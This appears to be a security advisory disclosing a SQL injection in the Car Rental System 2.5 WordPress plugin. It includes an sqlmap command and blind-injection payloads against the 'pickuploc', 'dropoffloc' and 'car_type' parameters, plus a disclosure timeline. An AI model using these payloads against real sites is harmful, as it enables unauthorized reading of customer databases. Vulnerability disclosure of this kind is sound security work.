WordPress Car Rental System 2.5 SQL Injection
Posted on 26 April 2017
# Exploit Title: Car Rental System v2.5 # Date: 28/03/2017 # Exploit Author: TAD GROUP # Vendor Homepage: https://www.bestsoftinc.com/ # Software Link: https://www.bestsoftinc.com/car-rental-system.html # Version: 2.5 # Contact: info@tad.bg # Website: https://tad.bg <https://tad.bg> # Category: Web Application Exploits 1. Description An unescaped parameter was found in Car Rental System v2.5 (WP plugin). An attacker can exploit this vulnerability to read from the database. The POST parameters 'pickuploc', 'dropoffloc', and 'car_type' are vulnerable. 2. Proof of concept sqlmap -u "http://server/wp-car/" adata="pickuploc=2&dropoffloc=1&car_type=&pickup=03/08/2017&pickUpTime=09:00:00&dropoff=03/18/2017&dropoffTime=09:00:00&btn_room_search=" --dbs --threads=5 --random-agent Parameter: pickuploc (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: pickuploc=2 AND 3834=3834&dropoffloc=1&car_type=&pickup=03/08/2017&pickUpTime=09:00:00&dropoff=03/18/2017&dropoffTime=09:00:00&btn_room_search= Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: pickuploc=2 AND SLEEP(5)&dropoffloc=1&car_type=&pickup=03/08/2017&pickUpTime=09:00:00&dropoff=03/18/2017&dropoffTime=09:00:00&btn_room_search= The same is applicable for 'dropoffloc' and 'car_type' parameters 3. Attack outcome: An attacker can read arbitrary data from the database. If the webserver is misconfigured, read & write access to the filesystem may be possible. 4. Impact Critical 5. Affected versions <= 2.5 6. Disclosure timeline 13-Mar-2017 - found the vulnerability 13-Mar-2017 - informed the developer 28-Mar-2017 - release date of this security advisory Not fixed at the date of submitting this exploit.